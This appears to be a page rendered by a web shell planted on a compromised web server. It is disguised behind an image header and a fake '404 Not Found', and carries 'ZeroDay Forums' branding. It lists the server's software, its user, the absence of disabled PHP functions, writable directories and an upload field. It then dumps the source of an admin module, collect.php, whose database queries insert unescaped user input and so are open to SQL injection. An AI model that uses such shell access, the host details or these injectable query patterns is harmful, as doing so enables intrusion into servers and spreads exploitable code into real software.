JFIF ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/admin_new/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/admin_new/mod/collect.php
<?php
class collect{
    var $path_image	= "upload/collect/";
    var $max_fsize	=  1500000;//1,5M
    function collect (){
        global $CORE;
        $arr_mid = array();
        switch($CORE->input['code']){
            default : $this->goList(); break;
            case 'post': $this->goPost(); break;
            case 'del': $this->goDel($arr_mid); break;
        }
    }
    function goList(){
        global $CORE, $DB, $smarty, $print;
        $smarty->assign('module_name','Quản lý main banner');
        $smarty->assign('title','Main banners');
        $smarty->assign('status',$CORE->input['status']);
        $smarty->assign('section','list');
        $where = "WHERE title<>''";
        $_SESSION['type'] = $CORE->input['type'];
        $_SESSION['fstatus']  = $CORE->input['fstatus'];
        $_SESSION['fkeyword'] = $CORE->input['fkeyword'];
        if($_SESSION['fkeyword']!='')
        {
            $where .=  " AND title LIKE '%".$CORE->input['fkeyword']."%'";
            $nsearch = 1;
        }
        $smarty->assign('nsearch',$nsearch);
        if($CORE->input['nosearch']){ unset(	$_SESSION['fcat'],$_SESSION['fstatus'],$_SESSION['fkeyword']);}
        if($CORE->input['sortby']) $_SESSION['prod_dirby'] = ($_SESSION['prod_dirby']==1) ? 0 : 1;
        $dbsort = ($CORE->input['sortby']) ? $CORE->input['sortby'] : $_SESSION['prod_sortby'];
        $_SESSION['prod_sortby'] = $dbsort;
        $pageNum = ($_GET['pageNum']>0) ? intval($_GET['pageNum']) : 1;
        $pageSize = 20;
        $from = (($pageNum * $pageSize) - $pageSize);
        $t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM NNCCMS_collect ".$where));
        $total = $t['total'];
        $totalPage = ceil($total / $pageSize);
        // Pagination2 DB
        $query = $DB->query("SELECT * FROM NNCCMS_collect ".$where." ORDER BY time DESC LIMIT $from, $pageSize");
        $c = 0;
        while($row = $DB->fetch_row($query))
        {
            $c++;
            $row['no'] = $c;
            $arr2 = explode(',',$row['cid']);
            $check_time = time()-(31*24*60*60);
            $row['time'] = date('d-m-Y',$row['time']);
            $arr[] = $row;
        }
        if(is_null($arr)) $arr[] = array();
        $smarty->assign('list',$arr);
        $nav = $print->Pagination($totalPage,$pageNum,'collect','index.php?act=collect&fkeyword='.$CORE->input['fkeyword']);
        $smarty->assign('nav',$nav);
        //del multi movie
        $arr_mid = $CORE->input['mid_for_del'];
        if(!empty($arr_mid)){
            $this->goDel($arr_mid);
        }
    }
    function goPost(){
        global $CORE, $DB, $smarty, $print, $func;
        $smarty->assign('module_name','Quản lý main banner');
        $smarty->assign('title','Main banners');
        $smarty->assign('status',$CORE->input['status']);
        $smarty->assign('section','post');
        if($_SESSION['error']) unset($CORE->input['bsubmit']);
        // Show post -----------------------------------------------------------------------
        if(!$CORE->input['bsubmit']){
            $id = intval($CORE->input['id']);
            if ($_SESSION['error']) $prevError = $_SESSION['error']; unset($_SESSION['error']);
            if ($_SESSION['state']) $prevState = $_SESSION['state']; unset($_SESSION['state']);
            if($prevState!=NULL){
                $data = $prevState;
            }else{
                if($id==0){
                    $data['status'] = 1;
                    $query = $DB->query("SELECT * FROM NNCCMS_collect");
                }else{
                    $query = $DB->query("SELECT * FROM NNCCMS_collect WHERE id='".$id."'");
                    $data = $DB->fetch_row($query);
                }
            }
            $error[] = $prevError;
            $smarty->assign('error',$error);
            $smarty->assign('post',$data);
        }else{
            $id = $state['id'] = intval($CORE->input['id']);
            $title = $state['title'] = $CORE->input['title'];
            $etitle = $state['etitle'] = $CORE->input['etitle'];
            $des = $CORE->input['des'];
            $edes = $CORE->input['edes'];
            $img = $CORE->input['img'];
            $url = $CORE->input['url'];
            $target = $CORE->input['target'];
            $type = $CORE->input['type'];
            $image1="";
            if($_FILES['image1']){
                $image_file1 	= $_FILES['image1']['tmp_name'];
                $image_type1 	= $_FILES['image1']['type'];
                if(!empty($title)){
                    $image_name1	= substr($func->format_string($title),0,50).'_'.time();
                }else{
                    $image_name1	= 'banner_'.time();
                }
                $thumb_name1		= "thumb_".$image_name1;
                $thumb_size1 = 240;
                $createthumb1 = $func->create_image($image_file1, $image_type1, $thumb_name1,$thumb_size1, ROOT_PATH.$this->path_image);
                $imageExt1 = $func->getImageExt($createthumb1);
                if($createthumb1 && move_uploaded_file($_FILES['image1']['tmp_name'], ROOT_PATH.$this->path_image.$image_name1.$imageExt1)){
                    $image1 = $image_name1.$imageExt1;
                }else{
                    $error['image'] = 1;
                }
            }
            if($title=='') exit('Xin nhập tiêu đề');
            if($id==0){
                $DB->query("INSERT INTO `NNCCMS_collect`(`title`,`etitle`,`des`,`edes`,`img`,`url`,`target`,`type`,`time`) VALUES ('".$title."','".$etitle."','$des','$edes','".$image1."','$url','$target','$type','".time()."');");
                return $print->refresh("index.php?act=collect&status=add_success");
            }else{
                $query = $DB->query("SELECT img FROM `NNCCMS_collect` WHERE id='".$id."'");
                $result = $DB->fetch_row($query);
                if($image1!=''){
                    if($result['img'] !='') @unlink(ROOT_PATH.$this->path_image.$result['img']);
                    if($result['img'] !='') @unlink(ROOT_PATH.$this->path_image.'thumb_'.$result['img']);
                    $DB->query("UPDATE `NNCCMS_collect` SET `img`='".$image1."' WHERE `id`='".$id."'");
                }
                $DB->query("UPDATE `NNCCMS_collect` SET `title` = '$title',`etitle` = '$etitle',`des` = '$des',`edes` = '$edes',`url`='$url',`target`='$target',`type`='$type' WHERE `id`='$id'");
                return $print->refresh("index.php?act=collect&code=post&status=edit_success&id=".$id);
            }
        }
    }
    function goDel($id){
        global $CORE, $DB, $print;
        if($CORE->admin_user['ug_id']!=4) exit('Chỉ có admin mới có quyền xóa bài!...');
        if(empty($id)){
            $id	=	intval($CORE->input['id']);
            $query = $DB->query("SELECT img FROM `NNCCMS_collect` WHERE id='".$id."'");
            $result = $DB->fetch_row($query);
            if($result['img'] !=''){
                @unlink(ROOT_PATH.$this->path_image.$result['img']);
                @unlink(ROOT_PATH.$this->path_image.'thumb_'.$result['img']);
            }
            $DB->query("DELETE FROM NNCCMS_collect WHERE id='".$id."'");
            $print->refresh('index.php?act=collect&status=del_success');
        }else{
            foreach($id as $val){
                $query = $DB->query("SELECT img FROM `NNCCMS_collect` WHERE id='".$val."'");
                $result = $DB->fetch_row($query);
                if($result['img'] !=''){
                    @unlink(ROOT_PATH.$this->path_image.$result['img']);
                    @unlink(ROOT_PATH.$this->path_image.'thumb_'.$result['img']);
                }
                $DB->query("DELETE FROM NNCCMS_collect WHERE id='".$val."'");
            }
            $print->refresh('index.php?act=collect&status=del_success');
        }
    }
}
$run = new collect();
?>

ZeroDay Forums Mini